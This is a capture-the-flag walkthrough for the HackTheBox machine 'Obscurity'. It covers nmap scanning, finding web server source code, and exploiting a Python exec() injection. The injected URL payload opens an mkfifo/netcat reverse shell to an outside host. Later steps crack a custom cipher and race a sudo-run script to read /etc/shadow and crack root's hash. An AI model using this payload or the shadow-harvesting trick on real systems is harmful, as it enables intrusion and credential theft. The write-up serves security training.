Summary Obscurity,a Linux box created by HackTheBox user clubby789 , was an overall medium difficulty box. Initial foothold was finding the code for the webserver code and analyze it to figure out RCE. which get us low privilege shell. In User directory there is a python encryption script we can use to figure out users password. As user we can run a python script meant to replace SSH that we can use to gain access to roots password hash. using which we get Root.
Initial Scan nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 # Nmap 7.80 scan initiated Sat Nov 30 15 :01 :37 2019 as : nmap - sC - sV - oN nmap /obscurity 10.10 .10 .168 Nmap scan report for 10.10 .10 .168 Host is up (0.14 s latency ).Not shown : 996 filtered ports PORT STATE SERVICE VERSION 22 /tcp open ssh Open SSH 7.6 p1 Ubuntu 4 ubuntu0.3 (Ubuntu Linux ; protocol 2.0 )| ssh - hostkey :| 2048 33 :d3 :9 a:0 d:97 :2 c:54 :20 :e1 :b0 :17 :34 :f4 :ca :70 :1 b (RSA )| 256 f6 :8 b:d5 :73 :97 :be :52 :cb :12 :ea :8 b:02 :7 c:34 :a3 :d7 (ECDSA )| _ 256 e8 :df :55 :78 :76 :85 :4 b:7 b:dc :70 :6 a:fc :40 :cc :ac :9 b (ED25519 )80 /tcp closed http 8080 /tcp open http - proxy BadHTTPServer | fingerprint - strings :| GetRequest :| HTTP /1.1 200 OK | Date : Sat , 30 Nov 2019 20 :01 :50 | Server : BadHTTPServer | Last - Modified : Sat , 30 Nov 2019 20 :01 :50 | Content - Length : 4171 | Content - Type : text /html | Connection : Closed | < ! DOCTYPE html > | < html lang = "en" > | < head > | < meta charset = "utf-8" > | < title > 0 bscura< /title > | < meta http - equiv = "X-UA-Compatible" content = "IE=Edge" > | < meta name = "viewport" content = "width=device-width, initial-scale=1" > | < meta name = "keywords" content = "" > | < meta name = "description" content = "" > | < ! - - | Easy Profile Template | http :| < ! - - stylesheet css - - > | < link rel = "stylesheet" href = "css/bootstrap.min.css" > | < link rel = "stylesheet" href = "css/font-awesome.min.css" > | < link rel = "stylesheet" href = "css/templatemo-blue.css" > | < /head > | < body data - spy = "scroll" data - target = ".navbar-collapse" > | < ! - - preloader section - - > | < ! - - | < div class = "preloader" > | < div class = "sk-spinner sk-spinner-wordpress" > | HTTPOptions :| HTTP /1.1 200 OK | Date : Sat , 30 Nov 2019 20 :01 :51 | Server : BadHTTPServer | Last - Modified : Sat , 30 Nov 2019 20 :01 :51 | Content - Length : 4171 | Content - Type : text /html | Connection : Closed | < ! DOCTYPE html > | < html lang = "en" > | < head > | < meta charset = "utf-8" > | < title > 0 bscura< /title > | < meta http - equiv = "X-UA-Compatible" content = "IE=Edge" > | < meta name = "viewport" content = "width=device-width, initial-scale=1" > | < meta name = "keywords" content = "" > | < meta name = "description" content = "" > | < ! - - | Easy Profile Template | http :| < ! - - stylesheet css - - > | < link rel = "stylesheet" href = "css/bootstrap.min.css" > | < link rel = "stylesheet" href = "css/font-awesome.min.css" > | < link rel = "stylesheet" href = "css/templatemo-blue.css" > | < /head > | < body data - spy = "scroll" data - target = ".navbar-collapse" > | < ! - - preloader section - - > | < ! - - | < div class = "preloader" > | _ < div class = "sk-spinner sk-spinner-wordpress" > | _http - server - header : BadHTTPServer | _http - title : 0 bscura9000 /tcp closed cslistener 1 service unrecognized despite returning data . If you know the service /version , please submit the following fingerprint at https :SF - Port 8080- TCP :V = 7.80 % I = 7 % D = 11 /30 % Time = 5 DE2CAB0% P = x86_64 - pc - linux - gnu % r (G SF :etRequest ,10 FC,"HTTP/1\.1\x20 200\x20 OK\n Date:\x20 Sat,\x20 30\x20 Nov\x20 2 SF:019\x20 20:01:50\n Server:\x20 BadHTTPServer\n Last-Modified:\x20 Sat,\x20 30 SF:\x20 Nov\x20 2019\x20 20:01:50\n Content-Length:\x20 4171\n Content-Type:\x20 SF:text/html\n Connection:\x20 Closed\n \n <!DOCTYPE\x20 html>\n <html\x20 lang=\ SF:" en \">\n <head>\n \t <meta\x20 charset=\" utf-8\" >\n \t <title>0bscura</title> SF:\n \t <meta\x20 http-equiv=\" X-UA-Compatible\" \x20 content=\" IE=Edge\" >\n \t SF:<meta\x20 name=\" viewport\" \x20 content=\" width=device-width,\x20 initial- SF:scale=1\" >\n \t <meta\x20 name=\" keywords\" \x20 content=\" \" >\n \t <meta\x20 n SF:ame=\" description\" \x20 content=\" \" >\n <!--\x20 \n Easy\x20 Profile\x20 Temp SF:late\n http://www\.templatemo\.com/tm-467-easy-profile\n -->\n \t <!--\x20 s SF:tylesheet\x20 css\x20 -->\n \t <link\x20 rel=\" stylesheet\" \x20 href=\" css/bo SF:otstrap\.min\.css\" >\n \t <link\x20 rel=\" stylesheet\" \x20 href=\" css/font- SF:awesome\.min\.css\" >\n \t <link\x20 rel=\" stylesheet\" \x20 href=\" css/templ SF:atemo-blue\.css\" >\n </head>\n <body\x20 data-spy=\" scroll\" \x20 data-targe SF:t=\" \.navbar-collapse\" >\n \n <!--\x20 preloader\x20 section\x20 -->\n <!--\n SF:<div\x20 class=\" preloader\" >\n \t <div\x20 class=\" sk-spinner\x20 sk-spinne SF:r-wordpress\" >\n " )% r (HTTPOptions ,10 FC,"HTTP/1\.1\x20 200\x20 OK\n Date:\x2 SF:0Sat,\x20 30\x20 Nov\x20 2019\x20 20:01:51\n Server:\x20 BadHTTPServer\n Last- SF:Modified:\x20 Sat,\x20 30\x20 Nov\x20 2019\x20 20:01:51\n Content-Length:\x20 SF:4171\n Content-Type:\x20 text/html\n Connection:\x20 Closed\n \n <!DOCTYPE\x2 SF:0html>\n <html\x20 lang=\" en\" >\n <head>\n \t <meta\x20 charset=\" utf-8\" >\n \ SF:t<title>0bscura</title>\n \t <meta\x20 http-equiv=\" X-UA-Compatible\" \x20 c SF:ontent=\" IE=Edge\" >\n \t <meta\x20 name=\" viewport\" \x20 content=\" width=de SF:vice-width,\x20 initial-scale=1\" >\n \t <meta\x20 name=\" keywords\" \x20 cont SF:ent=\" \" >\n \t <meta\x20 name=\" description\" \x20 content=\" \" >\n <!--\x20 \n SF:Easy\x20 Profile\x20 Template\n http://www\.templatemo\.com/tm-467-easy-pr SF:ofile\n -->\n \t <!--\x20 stylesheet\x20 css\x20 -->\n \t <link\x20 rel=\" styles SF:heet\" \x20 href=\" css/bootstrap\.min\.css\" >\n \t <link\x20 rel=\" styleshee SF:t\" \x20 href=\" css/font-awesome\.min\.css\" >\n \t <link\x20 rel=\" styleshee SF:t\" \x20 href=\" css/templatemo-blue\.css\" >\n </head>\n <body\x20 data-spy=\ SF:" scroll \"\x20 data-target=\" \.navbar-collapse\" >\n \n <!--\x20 preloader\x2 SF:0section\x20 -->\n <!--\n <div\x20 class=\" preloader\" >\n \t <div\x20 class=\" SF:sk-spinner\x20 sk-spinner-wordpress\" >\n " );Service Info : OS : Linux ; CPE : cpe :/o :linux :linux_kernel Service detection performed . Please report any incorrect results at https :# Nmap done at Sat Nov 30 15 :02 :14 2019 - - 1 IP address (1 host up ) scanned in 37.66 seconds
If we navigate to the website on port 8080
we see a web-page for a company with a rather intresting take on security. We read something interesting, at the bottom we see
1 Message to server devs:the current source code for the webserver is in 'SuperSecureServer.py' in the secret development directory .
So we can run wfuzz to find the code.
1 wfuzz -c -w /usr/share/wordlists/dirb/small.txt 10.10.10.168:8080/FUZZ/SuperSecureServer.py
which reveal the code is in develop
directory.
Getting the code and analyzing it
1 2 info = "output = 'Document: {}'" exec (info.format (path))
Since we control over the path we can use that to get exec() to run code we want.
so we can execute payload with
1 10.10.10.168:8080/'; os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.X.X 9000 >/tmp/f");a='a
which give us a shell as www-data
checking robert
home directory we find SuperSecureCrypt.py
and we find a encrypted file for robert
password and a test encrypted
and plaintext
file using
using the plain and the sample encrypted file we get the key
1 2 3 utfenc ="¦ÚÈêÚÞØÛÝÝ×ÐÊß
ÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐ
êÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v" decrypted = decrypt(utfenc,"Encrypting this file with your key should result in out.txt, make sure your key is correct!" ) print (decrypted)
which reveal the key as alexandrovich
and decrypting the passwordreminder.txt
we get the pasword as SecThruOBsFTW
which give us user and we can read user.txt
Privilege Escalation So now that we are user we see that there is BetterSSH.py
in /home/robert/BetterSSH/ .
checking sudo -l
shows
1 2 User robert may run the following commands on obscure: (ALL) NOPASSWD: /usr/ bin/python3 / home/robert/ BetterSSH/BetterSSH.py
For some reason the scripts copies the output of the shadow file to a random file in /tmp/SSH.
so open two terminal session and run
1 while True;do cat /tmp/SSH/* done
in one of the session
and run sudo /home/robert/BetterSSH/BetterSSH.py
and Enter Username as test and password as test which give invalid password.
but in the first terminal we see the content of shadow
file so we can grab root
password hash as
1 $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
We can crack the hash using john the ripper and the rockyou.txt
which give us the password asmercedes
so we can ssh to the box with root:mercedes
and can grab root.txt
1 2 3 4 root@obscure:~# id;hostname;cut -c 1-15 /root/root.txt uid=0(root) gid=0(root) group=0(root) obscure 512fd4429f33a11
and we have pwned Obscurity
💃